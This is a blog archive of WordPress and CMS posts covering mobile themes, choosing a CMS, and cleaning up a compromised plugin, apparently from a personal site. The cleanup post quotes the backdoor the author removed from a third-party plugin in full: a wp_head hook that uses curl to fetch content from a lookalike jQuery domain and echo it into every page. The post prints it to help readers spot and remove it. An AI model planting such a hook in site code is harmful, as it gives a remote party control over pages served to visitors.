Category Archives: Content Management

I will list all the web CMS and database management systems related articles under here. You may come across useful article also in the Computer Science category.

Mobile friendly websites

The file sizes associated with web pages have increased as designs get more complex and rich in media. As expected network speeds have also increased to accommodate the growing bandwidth demand. When it comes to mobile Internet, it is lagging bit behind the conventional Internet. The download speed of a average Canadian household is about 85 Mbit/s in the top tier plans as of 2013, while the average speed of mobile Internet not even 1/3 of it. The gap is so big, it impacts negatively on the performance of general websites. This is why even media companies like CNN, BBC and CBC have developed mobile versions of their web content in addition to media rich desktop version.

The mobile Internet is growing at a rapid rate in almost every country on Earth. Hence, the demand for mobile friendly fast loading websites are growing and so are the tools to combat it. I will introduce you to those tools and their advantages and disadvantages.

Mobile friendly right out of the box

I can categorically argue that almost every single non-graphic/media oriented website in 1980s and 1990s were 100 % mobile friendly. Even the most early version of the Internet called bulletin board system probably more mobile friendly than the desktop version of this site. Today visitors are not only attracted to functionality but also the visual appeal.

There are several way to balance between the visual appeal and mobile functionality. The concept of responsive themes are not a new one because it is similar to those 1980s sites. What sets it apart now is that modern responsive themes do not compromise graphical elements. If you are using CMS (Content Management System) programs, then you can load a theme with responsive support. When someone enter the site on a mobile device or on a smaller resolution device, the theme width and dimensions of elements will change accordingly. This is a right out of the box type solution, in which web editors do not have to depend on outside applications or scripts for mobile version of the site. Obviously it is better than an independent mobile site like in the old days. When you have independent sites, you have to edit two different files when publishing a single post. Another advantage is if you do not have a CMS program, you could still use responsive themes to automate using CSS and other scripts. It is not that hard to implement a responsive theme on a HTML site.

But it is not the silver bullet either. One of the major faults in responsive themes is that if a visitor decide to re-size their window on a desktop, it will response to the change as well. Not only that, on mobile devices you lose the ability to just switch to full desktop mode. Because we have large screen devices like tablets and SG Note II/III, I find some responsive themes can be annoying to use.

Make it mobile

gmneoBy using a separate set of conditions for mobile users, you can create a mobile version of the same content with different a mobile friendly outline. In order to do this, you will install two different themes. A mobile detection script will pick up on visitor using mobile devices and automatically direct them to the mobile version of the site. If they wish, you can still provide an option for the user to switch back to the desktop version. If you are using a CMS, there are many plugins and extensions for both Drupal and WordPress. One of my favorite is Graphene Mobile Neo. I recommend using a mobile theme from the same developers who created your desktop theme to avoid any script conflicts and to retain all the short codes in the mobile version. Hence if you are using the Graphene Desktop version, please consider buying the their Mobile Neo version. A lot of people don’t know that Graphene WordPress theme is highly customizable and can be use even on large scale corporate environments. You can also use either versions of the Graphene theme as a stand along (without the need to have one version to support the other).

Unfortunately I have already purchased a mobile friendly theme for this site from another developer. It is actually far more expensive than Mobile Neo. It does not support any third party short codes without major modifications to the code. It is called WPtouch. I don’t say that their version is bad, but they do charge an arm and a leg for not only for initial purchase, but also for higher upgrade versions. They probably have the most popular mobile plugin in the WordPress market. I do not recommend them because I don’t think the theme worth $59 Canadian.

I have to be honest that I am bias towards mobile themes (as opposed to responsive themes). I don’t exactly remember where I read them, but several research groups have studied the load time and resource usage by a responsive and mobile themes. The conclusions of these studies are about 50/50 in support of mobile themes. I personally noticed that having a mobile theme and/or an independent mobile version to be more useful. The biggest advantage is that since you have two independent set of options for each version, you have full control over both versions. In addition, users now have the option to switch between the versions when using mobile devices. I publish a lot of Geology and Programming related articles here. One of the responsive themes I tried pushed some of my content to a side when viewing on a mobile window. It makes it harder to read and sometimes even useless all together. While I am sure someone will come up with a way to switch off responsiveness of a responsive theme (what a crap load of words, lol), I still prefer the customizations of mobile themes. You can also reduce the server load by preventing scripts specifically used on desktop, when someone use your mobile site. Another thing I did with mobile theme is to replace a code in mobile version to optimize usability. For example, let’s say you have a photo gallery. Each photo is open on a pop-up “lightbox” on desktop. If you have the same operation, but now on a very small screen, the pop up will most likely will either go off screen or will be too small to view. You could replace the code specifically in the mobile side to avoid such issues.

Problems with browsers

A major problem with browsers is that there are too many. Look at IE (Internet Explorer) disaster. I hate writing code just to make IE users happy. Depending on the mobile browsers your visitors use, your site will be displayed either right or wrong. Nope, I never seen half-right rendering. Specially if you are running a business, you need to have the online publications as smooth as possible. Even I found myself switching to desktop version of my own site because some of my images are improperly rendered in the mobile theme. This another reason why I support mobile theme with a desktop switch option!

Conclusion

At the end it is your choice! Some of you will disagree with my experience with WordPress mobilization methods. As long as you can keep your mobile visitors (customers) happy, that’s what counts. When designing and coding websites, keep in mind that most people are not as tech savvy as you are. Do not expect your visitors to spend time figuring out how to make their experience pleasurable. It is your responsibility to provide support for the site.

Building a website, the easy way

notepad_edit

I remember when I first started working on websites, the only program I used was the default basic text editor in Windows 98/Plus, Notepad. For me it was easy to create a website with HTML tags and such, but as some of you remember in the old days most websites were plain and simple (yep, there are still websites like that). Other than companies like Sun Microsystems, IBM, Apple and Microsoft, not many websites were “pretty” to visit. The Internet technology has came a long way with the rapid growth in web based technologies during the infamous dot-com bubble. This has open up new possibilities for the average consumer, otherwise redistricted to large companies. Content Management Systems or simple CMS programs are the best thing happen since the discovery of the number-pi (π). 🙂

Skip Tech Jargon

Content Management System (CMS)

It is a piece of software that installs on a web server that can be used either internally or globally for communication. They are much like email programs, except they manage HTTP content. What is HTTP content? Well, to put it simply, the HTTP stands for Hypertext Transfer Protocol. It is like English language that we use to communicate to each other. While English may not be understood by everyone, HTTP language is standard on almost all web servers. There are many others and variations such as HTTPS, FTP, SSH, etc still in use today but to keep this article as simple as possible, I would avoid talking about them.

Anyway, in the old days you have to type each and every code using a program like Notepad or later Notepad++, HTML-Kit and other more evolved editing software. These files are saved with either dot-htm or dot-html extensions. The tides have changed when a new language called, PHP (Hypertext Preprocessor) was instructed in 1995. It is what we called a server-side scripting language specifically designed for web development, but later spread into other areas. Again, I don’t want go into much details, check out Wikipedia if you really want to how it works. With PHP we can do things differently to benift the average user. With PHP, the CMS has gone into overdrive because it allowed the programmers to develop back-end codes for general public use. For example, you can create a web page and attribute different conditions just by choosing from a list of items (I will talk about Categories and Tags in WordPress later). This is why using a CMS makes building websites as easy as ABC.

It is easy to make a website

By using CMS programs, anyone can build a website within an hour (not talking about large scale content with millions of pages here!). However, it all depends on the decisions you take at the very beginning. If you have limited knowledge with web development, I recommend you use a simple to use CMS like WordPress. In fact, the best CMS for beginners in my personal opinion is WordPress. There are many argumentative articles on the web for or against one CMS program over the other, but even the opponent of WordPress would agree that it is the best stepping stone into the world of HTTP over much more complex CMS like Drupal or Joomla. I will explain why in a bit. But let me introduce you to WordPress.

wordpress WordPress is/was designed for blogging as an open source CMS. Open source means that the code goes into development will be publicly available to others. Because it is open, it grew in popularity among professional bloggers. As it grew in polarity so is the amount of add-ons known as “Plugins” which extended the customization abilities. It comes with a well organized graphical interface and a large community of supporters for those of you who are new to web development field. To get access to this program, you will most likely have to choose a hosting service provider with WordPress scripts/program support. Shop around and Google is your friend. However, be careful of choosing bad hosting companies like GoDaddy. Just because of a company spend money on advertising doesn’t mean they are good at providing the service. I am satisfied with my host, HostGator, but I cannot promote any one of them, because I want you to choose for yourself. The other option is installing the WordPress script on your own server. Well, if you have a web server, you shouldn’t be reading this article! The software itself is free.

How to use it?

Since there are well written documents on usages, I don’t see the point of publishing the same thing over and over. So please read New To WordPress – Where to Start on the official site. If you are a visual person, please try YouTube. It is very easy to follow and if you would like me to explain something here, please contact me with your questions.

Drupal, Joomla, DotNetNuke and the list goes on…

Uh… I don’t want to go into those deep philosophical and analytical arguments. I wrote this article for novice users. Yes, I have used every single one of them and I am more of an expert on Drupal and WordPress. I found Drupal, Joomla, DotNetNuke and others as great CMS programs with very good possibilities. But the learning curve for someone who is new to web publishing it can be overwhelming.

I am not the only one who thinks this way. In fact, the Drupal developers have recognized the “problem” (I don’t think Drupal has a problem) so they are trying to close the gap between WordPress and Drupal usability. This is obvious on their new version Drupal 7 release this year. If you look at the standard costs associated with building and managing a website, most web design companies change more for Drupal based sites than for WordPress bases sites. Most large companies and organizations like University of Calgary and White House (Government of USA) use Drupal. However, I do not buy into the argument that Drupal is safer than WordPress. It is not the WordPress that can harm your site, it is the plugins and themes which can cause problems. As long as you use well written themes like Graphene (Developer) and well written plugins (even official ones like JetPack you will be fine. Make sure you keep the CMS and everything script (plugins, etc) up to date by installing updates regularly.

Joomla also have a huge downfalls for average users. I found their updates to be erratic and usability is far worst than even Drupal. DotNetNuke is based on the .NET framework, open source and it only runs on Microsoft Windows environments. Not many service providers would be happy to go with a Microsoft Windows servers without asking you to pay for a premium. Even for me, it cost me more than $500 (Canadian) to get my hands on Windows Server software for my home unit with a student discount. I despite Microsoft’s (and Apple) for being such cry babies. I would not recommend DotNetNuke to anyone.

There are reasons why you would choose a CMS like Drupal. But I am not going to go into detail on that, other than to say, if you require a complex website with advanced user management, Drupal is probably the best. DotNetNuke is best for Windows Server environments while others will run on open source server operating systems.

Last word on ethics of the Internet. Respect others by avoiding copying contents from sites and posting as yours. Happy blogging and keep the Internet safe for EVERYONE!

Fix your site from unauthorized redirect

Recently I added a plug-in outside of the WordPress repository. To my horror, one of the files had a malware code inserted into the the “head” tag. The bad guys are so cleaver that they made their code to run randomly so it will not be detected by the web developer as soon as they install these bad plug-ings. So how do you know you have problems in your installed scripts? How do you go around fixing them? The answer to the first is that you probably won’t know until a visitor to your site or yourself come across it. But if the bad guys are into stealing information such as credit card data, you may be out of luck.

I am going specially target one of the malware injection which can be detected by anyone; the automated redirection. The automated redirection is used to direct your visitor to whatever the website the guys want promote. Most of the time they are either directed to survey sites, illegal websites such drug trafficking and/or pornographic sites. Regardless of your moral values, the major issue here is these scripts will not provide you with an option to disable and/or modify their behaviors. That’s where programmers like us come into save your site!

I end up with redirection to unknown website once in a while I try to view my web site. So, I dig around and found that a function called wp_head() in one of the PHP files are used as a backdoor to inject a questionable code in UberMenu plug-in. I used the Editor in WP administration page to delete the function completely in TipTour.class.php file (file with this function). The code I removed was;
function wp__head() {
if(function_exists('curl_init'))
{
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,"http://www.jqury.net/?1");
curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_HOST']);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,"10");
$data = curl_exec($ch);
curl_close($ch);
echo "$data";
}
}
add_action('wp_head', 'wp__head');

Protect yourself

If you find something wrong with your plug-in or you find an odd behavior, contact the developers as soon as possible. If you do not know who to contact for help, try using one of the free web site scanners, which also can come in as a plug-in, website or both. In addition, if there is an option to download a any add-on to your servers directly from either the CMS developers or from the add-on/plug-in developer, please use their resources. You should also scan any externally loaded files to your web server through a virus scan before installing on your http/www folders. After installing anything, check the folder and file permissions using FTP or cPanel (or such programs) for 777 permissions. If you find any permissions has been changed to 777, immediately change the permissions manually (USE CAUTION: It may break your website!). Go to SQL/MySQL administration panel and check for injection scripts and if you find them copy the file first and then delete them. Report such injections to the developers with the information on the copies injected file.

Always remember this is not limited to a single CMS. In fact, any website even without the use of a CMS could end up becoming a victim. However, since CMS programs are very popular among web developer and used by even government agencies such as whitehouse.gov and ucalgary.ca (Drupal), bad hackers are increasingly targeting CMS based websites.

CSS default and custom elements

When using CSS (Cascading Style Sheets) there are two main types of elements; the default elements associated with conventional HTML tags and the custom elements created by the developer to produce desired effects. The custom elements are more useful than the default since Continue reading CSS default and custom elements